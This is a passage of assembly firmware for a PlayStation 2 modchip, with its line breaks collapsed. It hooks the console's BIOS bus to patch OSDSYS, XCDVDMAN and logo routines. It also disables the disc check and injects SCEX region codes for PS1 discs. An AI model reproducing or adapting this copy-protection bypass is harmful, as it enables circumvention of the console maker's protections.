SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch snb V0_FLAG page $0800 jmp PS2_MODE_START_V0 ;PS2 osd patch or PS1DRV init... (based on psx_flag status) page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr ;snb V0_FLAG ;; ; ;jmp START_CDDVD_PATCH sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ; sb PSX_FLAG ; jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)2560.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH ; mov w,#49;$31 ; mov VAR_DC2,w ; mov w,#$1 ; mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ELSE ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov 